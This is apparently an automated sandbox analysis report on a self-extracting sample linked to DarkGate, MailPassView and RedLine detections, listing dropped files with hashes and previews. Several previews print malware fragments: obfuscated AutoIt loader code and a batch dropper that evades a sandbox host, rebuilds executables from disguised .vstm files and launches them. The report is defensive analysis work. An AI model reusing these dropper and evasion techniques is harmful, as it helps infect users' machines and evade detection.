Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:59:06	API Interceptor	3558x Sleep call for process: Bonta.exe.com modified
01:59:08	API Interceptor	3407x Sleep call for process: Pensiero.exe.com modified
01:59:42	API Interceptor	3393x Sleep call for process: Inebriarti.exe.com modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com	in.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	in.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	KgpiJLs58m.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	KgpiJLs58m.exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Notion Setup 4.3.0 (4).exe	Get hash	malicious	DarkGate, MailPassView	Browse
	Notion Setup 4.3.0 (4).exe	Get hash	malicious	DarkGate, MailPassView	Browse
	JiH0aUfOU6.exe	Get hash	malicious	Unknown	Browse
	JiH0aUfOU6.exe	Get hash	malicious	Unknown	Browse
	2YLM6BQ9S3.exe	Get hash	malicious	RedLine	Browse
	sEOELQpFOB.lnk	Get hash	malicious	RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\A

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (349), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	1273491
Entropy (8bit):	5.8531936507300255
Encrypted:	false
SSDEEP:	12288:4fLLm1/Avlkk94T9vS62LPWIS36vzh4LBLFiuRJbOyiDZg8wE6B5RRLUvu6cGshx:4zhWkmDshcimJbCKSshIo
MD5:	32DCB1DD2A8F02DCA8EE1731A6B81A92
SHA1:	C10FA345252FDEF085C9E0380DC1D043D726CDF5
SHA-256:	7029D559B92849F5ECA6AB3C48C5025ED5AEB898B0FD88CF7816B99AA4359435
SHA-512:	63927053F5DC05D5D7F0F4F55EFB2562671AFEB0C70259793C2E69CAEE6BCB6A2E1AA7C6061209AC98BDF85BEA02FC17289D6A8B0DB061230F7D09797667FD8F
Malicious:	false
Preview:	..Func NfVmVYAcf($prUAQ,$aZRta,$wVaVmpCY,$BNQqYn,$idENekES,$wRROFGy,$ETECeq,$MSPCu,$PqMHSBAF,$PsmjnaL)..Local $IvvtTotdawlceMYkRtiNyEPWrhrPBTqIwHbhzVSmNloDnzgMgjBGeq = 'rHAqGtgOnqBxcgLSVkIZUvknKYdBfazGqRxFTVjxnvKCWZTbCzGcxwVHcedIOMnyHVzDUyZZZgAbMIBKtSZVMYjZVMlRFDFMXEVwGfDvxGcuAbUNAGDVMDaIIzIiVoxcIOAoMArOfDAyCumnSvdZZKZxkjajHcAjjqbLXMqqCPFpehuCUpfnRxcXPyWAiQuUegTCIOAyvdbltPaYuPabywcSEAVRQmSLILuOzEUyIpeBXlTqNYzsnJPqSwXoSJfWbLCzJ'...$NHOgM = 183..$MTEedhcXvM = 69..While ((10333-10332)*10059)..Switch $NHOgM..Case 176....$RmOhZwiKeLqYhTJ = Execute(rETgxIUQ("68#114#105#118#101#71#101#116#83#101#114#105#97#108#40#39#75#65#111#89#106#69#84#70#106#110#118#75#69#103#106#39#41",0)), $NNUhAqlhU = 'tNBONIeZfPrhpxEeykXoUXaMm'..$135 = 134..For $FbkfRAiskKFcWecPLRVkegNSvagCxZoSLoaUHNFdabwgcMNZdkjcYb = 17 To 28..Local $JdUtyAurnKNHFZ = 'umEAJbVYdLjuxOfZQFLGmpprUnYGApBgXVGqpaNQNsDaTzLfpLW'..Local $RmOhZwiKeLqYhTJ = Execute(rETgxIUQ("79#94#117#107#47#56#58#60#48",7))..Next....$NHOgM = $NHOgM + 1..Case 17

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bel.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	data
Category:	dropped
Size (bytes):	1987072
Entropy (8bit):	7.999918819366727
Encrypted:	true
SSDEEP:	49152:Z1cp8aUBkOQnyTP5fc/xJ0z5YTXVj0XO6rneN:jaUVQnyTPe/vzVIXWN
MD5:	98FC7547E88B86C0C1217F60ECCAAFD3
SHA1:	AE847D9D502B4E4C3763D8226D2E36CABD655F8E
SHA-256:	4FE8F063DB286F721E9F2B95ED8C2E2B5058CE480FBA1C55CD0E8389693789F5
SHA-512:	7771B8C853AD8823A4DE7CA4F15B22F27E487266F6F40FA41A4EC94DEA4C015FEF053250662F6C7EFCEC96AA40066608E1846F4C76AFDD93B6BB5A7B1A59F210
Malicious:	false
Preview:	j....Cz".J.Ncw'K=......<l....,._..H...p.&-.3J....Q.m..5.....?/^......YX.h.a..w..]....S.c.&w...<K,.m.N..:}/+..`CIC...9.^..Q.=.s.....a.ki%.>.#.}......7.S..?..nF.....h..mU.0.0I....v..;.J.........Z./..b........{U.%.......y..5l..[,Xca,.....BRQ...r1k.='..24K!.....Sn".......~....[.U..I.9...kCU.c.P.v.{3....5...;\|...........n\......gP......j[l.T.........o...2I....<.4E.....A'.ujH.3VK...?cY.D.C>_3..<.~.e..=[.E..Llr...E.mq.4...`...A.......;q...j....s>dwd.9>.~v.t.#~4t>9............\|..$n.\hsO.1.U..Q4.2.,$q.....Rm.f`/=e.Ud5[WjKD.#'...#...U..c%......K...e...z....M&...k.........W.2F.3!..F.-.W.....)ZL..6........T5..L...J.c`@.r...zfS.yG.?kv......S.....&..S........d.....:_........X...6......1.kv.[......ed....C...`9$.......Z@\|f..8..{Y+e.O..-.Q.*h5).a.p....K.:\|...pE.,W.L...\|)......4..6.....a....Y...).P.(w....6.o.r..}...B.L<..0..w)...d~y:...........w ..5..v..b}..#rg_j~.&[l.)..W.t...g....G.)..#c.+...sL........U'',.X...+....K...U.P..\|...:...0..3.-

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bonta.exe.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: in.exe, Detection: malicious, Browse Filename: in.exe, Detection: malicious, Browse Filename: KgpiJLs58m.exe, Detection: malicious, Browse Filename: KgpiJLs58m.exe, Detection: malicious, Browse Filename: Notion Setup 4.3.0 (4).exe, Detection: malicious, Browse Filename: Notion Setup 4.3.0 (4).exe, Detection: malicious, Browse Filename: JiH0aUfOU6.exe, Detection: malicious, Browse Filename: JiH0aUfOU6.exe, Detection: malicious, Browse Filename: 2YLM6BQ9S3.exe, Detection: malicious, Browse Filename: sEOELQpFOB.lnk, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Conoscermi.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	ASCII text, with very long lines (349), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	1273491
Entropy (8bit):	5.8531936507300255
Encrypted:	false
SSDEEP:	12288:4fLLm1/Avlkk94T9vS62LPWIS36vzh4LBLFiuRJbOyiDZg8wE6B5RRLUvu6cGshx:4zhWkmDshcimJbCKSshIo
MD5:	32DCB1DD2A8F02DCA8EE1731A6B81A92
SHA1:	C10FA345252FDEF085C9E0380DC1D043D726CDF5
SHA-256:	7029D559B92849F5ECA6AB3C48C5025ED5AEB898B0FD88CF7816B99AA4359435
SHA-512:	63927053F5DC05D5D7F0F4F55EFB2562671AFEB0C70259793C2E69CAEE6BCB6A2E1AA7C6061209AC98BDF85BEA02FC17289D6A8B0DB061230F7D09797667FD8F
Malicious:	false
Preview:	..Func NfVmVYAcf($prUAQ,$aZRta,$wVaVmpCY,$BNQqYn,$idENekES,$wRROFGy,$ETECeq,$MSPCu,$PqMHSBAF,$PsmjnaL)..Local $IvvtTotdawlceMYkRtiNyEPWrhrPBTqIwHbhzVSmNloDnzgMgjBGeq = 'rHAqGtgOnqBxcgLSVkIZUvknKYdBfazGqRxFTVjxnvKCWZTbCzGcxwVHcedIOMnyHVzDUyZZZgAbMIBKtSZVMYjZVMlRFDFMXEVwGfDvxGcuAbUNAGDVMDaIIzIiVoxcIOAoMArOfDAyCumnSvdZZKZxkjajHcAjjqbLXMqqCPFpehuCUpfnRxcXPyWAiQuUegTCIOAyvdbltPaYuPabywcSEAVRQmSLILuOzEUyIpeBXlTqNYzsnJPqSwXoSJfWbLCzJ'...$NHOgM = 183..$MTEedhcXvM = 69..While ((10333-10332)*10059)..Switch $NHOgM..Case 176....$RmOhZwiKeLqYhTJ = Execute(rETgxIUQ("68#114#105#118#101#71#101#116#83#101#114#105#97#108#40#39#75#65#111#89#106#69#84#70#106#110#118#75#69#103#106#39#41",0)), $NNUhAqlhU = 'tNBONIeZfPrhpxEeykXoUXaMm'..$135 = 134..For $FbkfRAiskKFcWecPLRVkegNSvagCxZoSLoaUHNFdabwgcMNZdkjcYb = 17 To 28..Local $JdUtyAurnKNHFZ = 'umEAJbVYdLjuxOfZQFLGmpprUnYGApBgXVGqpaNQNsDaTzLfpLW'..Local $RmOhZwiKeLqYhTJ = Execute(rETgxIUQ("79#94#117#107#47#56#58#60#48",7))..Next....$NHOgM = $NHOgM + 1..Case 17

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\E

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (355), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	1027550
Entropy (8bit):	5.84399406272364
Encrypted:	false
SSDEEP:	12288:t9fFNLEjDpDJ8eEaoImLXqEdqfix+jTxxxBRMQUw716TKi:rfHEJmLqEdbx+XDl16TKi
MD5:	D8E8946A635B6E3825E6BF3899C8B8C0
SHA1:	AEB5CF5BFB1A35B3A5AB7CFBB4DD82B1C3FDE9D8
SHA-256:	8AECFE0A5F0CE53FD6750CC500D8B1EFD4A8EC1AE88E47669B82890BE3854AA8
SHA-512:	22EF7299178CB6258692F0696C18695E3A6E3AB670CA442DB2E27771149B0866E18C39F87B9DBA51716703FB5108A98B60449DED544CBF40B7BA34C764E31138
Malicious:	false
Preview:	..Func FVlqLdSP($ZWK,$cHWg,$pWEmjEg,$tIakCX,$ZiSRQtwCz)..Local $vncVRTprkqcXvbYNiKNxMfegOtnDozlbCQSTIMBsaTMYLU = 'auhcIhfquviuMcGVSPYcFFtyxpceTDrDUIyvUXCljQLbBFOVMYUpNmQNwiwmRhiCaEjtdpqUhOoOTGEOxmdVJUPxSacMWraZIotWzKFCXZVZdwTxDhtsXjTnORjYOhYpcpyKBHxKUNXJYQtQnqpJZqevgGoBnHOJwLDiVoSWSxbpglAYNcmOtfl'...$gQvOptYjh = 101..$GUPKCsbvMtmK = 89..While ((5589-5588)*5398)..Switch $gQvOptYjh..Case 94....$JLnhpRTZoZzBQtKQ = Execute(ekrSXFezU("79#94#117#107#47#93#88#112#105#75#128#81#122#78#80#128#90#93#75#48",7))..$139 = 155..For $vqiVcuLpsMYGeOtxWsqoGFSJafvzDIGyLmNiLRgFMrSyUaykguUN = 13 To 21..Local $ccCMNOqlkybOS = 'rEWqggoWxbpZwbCpanPKgjarzICVnjpUhvRYtWxQUnqtCOMCHwM'..Local $JLnhpRTZoZzBQtKQ = ekrSXFezU("118#118#88#114#90#78#77#83#111#117#112#110#109#84#77#77#75#128#125#121#96#88#87#113#110#72#77#94#120",7)..Next....$gQvOptYjh = $gQvOptYjh + 1..Case 95....$AlVthwMkfPtGqSQ = Execute(ekrSXFezU("74#89#112#102#42#73#91#109#78#86#101#81#99#106#116#43",2))..$52 = 116..For $euXtWdVqsaEXsqJLZwHtxHaEQTug

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Forme.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	data
Category:	dropped
Size (bytes):	97282
Entropy (8bit):	7.9980120985450665
Encrypted:	true
SSDEEP:	1536:i3RFYe7C/BBbpjlPOOgYEGuIaIizdyySgVYZpiV776kAsFLj9xdFPLtK8UR:i3ge7KBl5PuYEtIjyogVepiw3sFnrGR
MD5:	C99F4CB6198E1D977A35815A23E2DB8D
SHA1:	A86E1808982D231AEC56879E3ADC7435387E8DDF
SHA-256:	69778B5C9C6EA73A1392518AC831659E4377CDC252449D943D8D27E067CDD47F
SHA-512:	3EF754557EA9D808FB6F0577341005248C553D14E47500DD2F1B7F655DF9BA3224FCC8D661D409BC51C902457BEE000D22AB4DB0E486ECD530DD92A537261584
Malicious:	false
Preview:	.l.......R..Tf\|d...q.m..C6....f~T..E.......a}.&9pll."..~I...?..v.....{.9...;.Q...[....`.p.....7..n..kP...fV[.fwA..HW.)..`.F.z!9r.`..(7.LJ.B.wD..G..X...F.@e{ ..l.^N..\...v~$d......(.H.....G.+.Lg.K\i\|..8....[..Y)v....+s..'...i.y."...iK.~...1...F......sn2...z.}....n..#.o..r.O..l.G.{....g...7.@.y.Z.R..K(.8...6.......~.9..,g...t..w...1.......M@R._.zZ.K)..>....^/.M....-.g...=...%..9.z......>j..@..$...z.dR@....X.V.i.2...!..&..h.-..\Ip/O&.}.....?g.^.`.h.B..v....\|......c.......U.O.....P."~...+..Tf...%.F.Y. ...[h"...v..>V`.]..\|....@G{`.\.V.].....C.S!m]..e.-...q.2...BD.Ko..x}zv.G..#.)....u.H'8.....S.L..cCk.......(.h..M..-j)B..4..U[@w.U....`...{..wc8./..lS....<e.j&....X.+.3....x...........)....F..I..\R.=...;.Q......R.P....D..h..p7.t[.r.....?.8...44/.g......X..C...d{.C.S.._-.'.F...0../TY..L.....v...."..>.}i...@;...1..n0.....^..[..X..i..G.x p.......$b.}......4...cO....#vN..s.RZ..Zm ..B.1............Wv..Z.7R..._i.C...'...FP....y.\=..U3...`k.....P.

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Inebriarti.exe.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Mio.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	data
Category:	dropped
Size (bytes):	361472
Entropy (8bit):	7.999543616570439
Encrypted:	true
SSDEEP:	6144:STrZVRpJIehzLugXNmiEwlD/9SOjjyAoZK7XrI/g4PxUAshlDaIZYHyjIQmpWz1S:STryedSgXSwlRSOPyAoZK7Mg4P+AshN+
MD5:	50C2AD1056C3491921514C3D9A8E1EA0
SHA1:	3326D29C649A3B05C8F09F45F236448876EA30CD
SHA-256:	052EDA4E7D006E00CE4ACE3337CB907A42BCF5AE0BBFBE2702C4A7B1540FDECE
SHA-512:	6666CB4F666FB665A55C82FF6C37EEF15432B6F8F02CE02BCEB24614CA8753F39E0885069D75C8B438B89C4A7AEE16810F1DE61F2E7F6DE5B372E8BA22D1A2CD
Malicious:	false
Preview:	.Y..HS...Y.?....."...X.;l1.Y..9.k.t.Mk.aS..R.>......%p.......wh...........[!........V.b..."..yf..\h.1z.[o.j:>...\..........$}.......o\..}....r..D.c.0...G;.R}....!9...G.W......e ..he.J=....x....aM..UN..%2O.iz!.8`..R...P.1..c5..=p..f.L.._.-OZ.s.=...q?..\|:.....X.n.......9I..V..B.5..u.......!......Nm...1....@.'.4.]q....J..o...JDg...6.V.0]........cerF../.(~.Ey..thEh...P./K.....@..;.Z....q.k~...I..-....[.....$e....?1.....Q9...!rg.Q.E.Y...5."..b..s....=..j...].p_..O'...GSo`.\|..:.^s...D.L.....&.6...z..S.p.5u..'...!.....P.t.y...o.....DT&..U..G..'...B[b,!.......z..UML/J..n....+*s.L.....3&....%C..^..A...^d.XP..p&..H..Q...3:...H....}.WV\KO&..1E...?UCs...SX....mw ..M..G"......\|....!..W.M..\%......@..S......_o&.4.5.........f...m.t....&x.....^]...>.+.p.<.M...=........".".......7..Uux{.<...Y.I.i^..gO?.....R.e.@... ...\.e.L\..r.....H$.T..M...="........1-.......u.U..'&.......vtC.j.l.......zm'..=....w.0..f.9T.2J.:2..{g...tr.P .L.(5.kVI...{)..Ke.............(.....

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Nel.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	ASCII text, with very long lines (521), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	874247
Entropy (8bit):	5.845938060923655
Encrypted:	false
SSDEEP:	12288:vQfX7AlWSi++7WQ777U5wv7sDqGdZzsAwMmk+1T:n5zbYT
MD5:	676BE9E97E242CCAA40DE8C8342F2381
SHA1:	F25CA9A365927163836213172F300B6E9A09311A
SHA-256:	5B0198597C3BB1582AD4ED0DB205772BE9E54B5F3363C7449EC1477F0A2C172F
SHA-512:	3AF0610DCC1C3F8253AF454102047828FD431D137593CD083E50BC34AC20516A6C975F7CADEDB9F910F0120FDD3D35E0E267708042A2C1EDAD04C611314426AB
Malicious:	false
Preview:	..Func zsQzlxmFuQcHzpEjECX($TFjYd,$umipzZZ,$dLJus,$oCMsKSF,$ZVadMtOtS,$DOzy,$HeIzYhBVv,$hLrAGGN)..Local $kQejVvkTGCCieDtfwmGMnqWKnaLEkvPO = 'FNRqcnCwIgTryIAcsEgxxwlTsOCLHHlMOUbPhfGwtKQMrHaKkoTRBzSDCXIHVQxqtufkkKoeYhdKknQKcSAnOakxeTjdGYuhdPHWsimAqRTgroaruYjedVjLVUosbScZiezcQUahzZnWnXsUBppIM'...$AvqiIzfJvVob = 178..$EebXGMktXNLMmQ = 61..While ((7021-7020)*6462)..Switch $AvqiIzfJvVob..Case 175....$zeoBmgmbAjaJckOE = Execute(GKHRXxdEq("76_91_114_104_44_75_88_73_72_80_108_81_104_102_126_75_124_91_90_101_45",4))..$120 = 103..For $MqfarxXHPTlQSCRWgkqgvubMGbAzrtFbAxokCafIlUKcgGIKAMiZOfmGC = 8 To 21..Local $qPPSsXFJlUCIZGJ = 'FdZiCflsUaktvkXpmyLQtMjOIruCQXxfkDnkvVVKEbYYLBhYXaoTUSK'..Local $zeoBmgmbAjaJckOE = GKHRXxdEq("107_110_110_112_72_66_88",0)..Next....$AvqiIzfJvVob = $AvqiIzfJvVob + 1..Case 176....$TSMMMElwkGNheiQiF = Execute(GKHRXxdEq("74_89_112_102_42_101_84_114_84_68_78_82_111_102_103_123_80_112_89_86_85_72_104_43",2))..$97 = 87..For $OBxaTFikvvAXWwwQHxjlGEJTHryQpsIewrovAAZiFBiOAgJMkkm

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pensiero.exe.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620131693023677
Encrypted:	false
SSDEEP:	12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5:	C56B5F0201A3B3DE53E561FE76912BFD
SHA1:	2A4062E10A5DE813F5688221DBEB3F3FF33EB417
SHA-256:	237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D
SHA-512:	195B98245BB820085AE9203CDB6D470B749D1F228908093E8606453B027B7D7681CCD7952E30C2F5DD40F8F0B999CCFC60EBB03419B574C08DE6816E75710D2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Pure.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	data
Category:	dropped
Size (bytes):	893732
Entropy (8bit):	6.620371362753424
Encrypted:	false
SSDEEP:	12288:FpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:FT3E53Myyzl0hMf1tr7Caw8M01
MD5:	C38DC9E91502C7A7246EB673B8E5DD5C
SHA1:	530C4B86A19B1BE44C01E9F01DBACB0BCFE3DBD7
SHA-256:	1F4460B9449882C79E61D643AD9FB9A6D6B27779E3C40ACFBA4DFAE751F7D745
SHA-512:	2824B6746EA1114E885F0AA11D11AC44113AE991544543D6BCB73BC7D4E84C229EC9223136A633C4B0B8695A0E95CC6B21A5CD88C17FAD4088442DCC2EDACEDD
Malicious:	false
Preview:	jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA........................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L....q.Z.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B....................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Secondo.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	ASCII text, with very long lines (355), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	1027550
Entropy (8bit):	5.84399406272364
Encrypted:	false
SSDEEP:	12288:t9fFNLEjDpDJ8eEaoImLXqEdqfix+jTxxxBRMQUw716TKi:rfHEJmLqEdbx+XDl16TKi
MD5:	D8E8946A635B6E3825E6BF3899C8B8C0
SHA1:	AEB5CF5BFB1A35B3A5AB7CFBB4DD82B1C3FDE9D8
SHA-256:	8AECFE0A5F0CE53FD6750CC500D8B1EFD4A8EC1AE88E47669B82890BE3854AA8
SHA-512:	22EF7299178CB6258692F0696C18695E3A6E3AB670CA442DB2E27771149B0866E18C39F87B9DBA51716703FB5108A98B60449DED544CBF40B7BA34C764E31138
Malicious:	false
Preview:	..Func FVlqLdSP($ZWK,$cHWg,$pWEmjEg,$tIakCX,$ZiSRQtwCz)..Local $vncVRTprkqcXvbYNiKNxMfegOtnDozlbCQSTIMBsaTMYLU = 'auhcIhfquviuMcGVSPYcFFtyxpceTDrDUIyvUXCljQLbBFOVMYUpNmQNwiwmRhiCaEjtdpqUhOoOTGEOxmdVJUPxSacMWraZIotWzKFCXZVZdwTxDhtsXjTnORjYOhYpcpyKBHxKUNXJYQtQnqpJZqevgGoBnHOJwLDiVoSWSxbpglAYNcmOtfl'...$gQvOptYjh = 101..$GUPKCsbvMtmK = 89..While ((5589-5588)*5398)..Switch $gQvOptYjh..Case 94....$JLnhpRTZoZzBQtKQ = Execute(ekrSXFezU("79#94#117#107#47#93#88#112#105#75#128#81#122#78#80#128#90#93#75#48",7))..$139 = 155..For $vqiVcuLpsMYGeOtxWsqoGFSJafvzDIGyLmNiLRgFMrSyUaykguUN = 13 To 21..Local $ccCMNOqlkybOS = 'rEWqggoWxbpZwbCpanPKgjarzICVnjpUhvRYtWxQUnqtCOMCHwM'..Local $JLnhpRTZoZzBQtKQ = ekrSXFezU("118#118#88#114#90#78#77#83#111#117#112#110#109#84#77#77#75#128#125#121#96#88#87#113#110#72#77#94#120",7)..Next....$gQvOptYjh = $gQvOptYjh + 1..Case 95....$AlVthwMkfPtGqSQ = Execute(ekrSXFezU("74#89#112#102#42#73#91#109#78#86#101#81#99#106#116#43",2))..$52 = 116..For $euXtWdVqsaEXsqJLZwHtxHaEQTug

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Seminato.vstm

Download File

Process:	C:\Users\user\Desktop\Tt843YGUx5.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	887
Entropy (8bit):	5.693418149335726
Encrypted:	false
SSDEEP:	24:0qaKlkEa69c5ugSj28H11Ea69c5ugSj012Ea69c5ugSjW5f:PaK2s9c5TUt1s9c5TU012s9c5TUYf
MD5:	5D6074FE8E2E8ABCD21C10F1501DE567
SHA1:	7310F114E7A285BD142D4C507153FE2E75A8DAD1
SHA-256:	06CBDB7E32E9ABFAC14F7B8E2D2F65204E4A088FE816635401D6A704A3EC4178
SHA-512:	0AEA34C249402009C0074D55AC85972F03AA8E2DA65F7369D14939F6859F0146CD814E1810754E660C2AD8232C40CC4742E974BE3094540D7DD0DE9839160764
Malicious:	false
Preview:	Set UZULuYz=%userdomain%..Set GmSTCT=DESKTOP-QO5QU33..if %UZULuYz%==%GmSTCT% exit ..<nul set /p = "MZ" > Inebriarti.exe.com..findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm >> Inebriarti.exe.com"..copy Conoscermi.vstm A..start Inebriarti.exe.com A..<nul set /p = "MZ" > Bonta.exe.com..findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm >> Bonta.exe.com"..copy Nel.vstm m..start Bonta.exe.com m..<nul set /p = "MZ" > Pensiero.exe.com..findstr /V /R "^jFsHerEbljXpXySesHEeeiaEbuspVTxTkpsgNBbkUmDsXXeCDHjpLUEthNpWLcCdRtXONEgPpaiDDqGArPGhHlidFhwqaBAmWhASZgPYzbqaMqAjuJSWPfJHXGpA$" Pure.vstm >> Pensiero.exe.com"..copy Secondo.vstm E..start Pensiero.exe.com E..ping 127.0.0.1 -n 30....

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\m

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (521), with CRLF, CR, LF line terminators
Category:	dropped
Size (bytes):	874247
Entropy (8bit):	5.845938060923655
Encrypted:	false
SSDEEP:	12288:vQfX7AlWSi++7WQ777U5wv7sDqGdZzsAwMmk+1T:n5zbYT
MD5:	676BE9E97E242CCAA40DE8C8342F2381
SHA1:	F25CA9A365927163836213172F300B6E9A09311A
SHA-256:	5B0198597C3BB1582AD4ED0DB205772BE9E54B5F3363C7449EC1477F0A2C172F
SHA-512:	3AF0610DCC1C3F8253AF454102047828FD431D137593CD083E50BC34AC20516A6C975F7CADEDB9F910F0120FDD3D35E0E267708042A2C1EDAD04C611314426AB
Malicious:	false
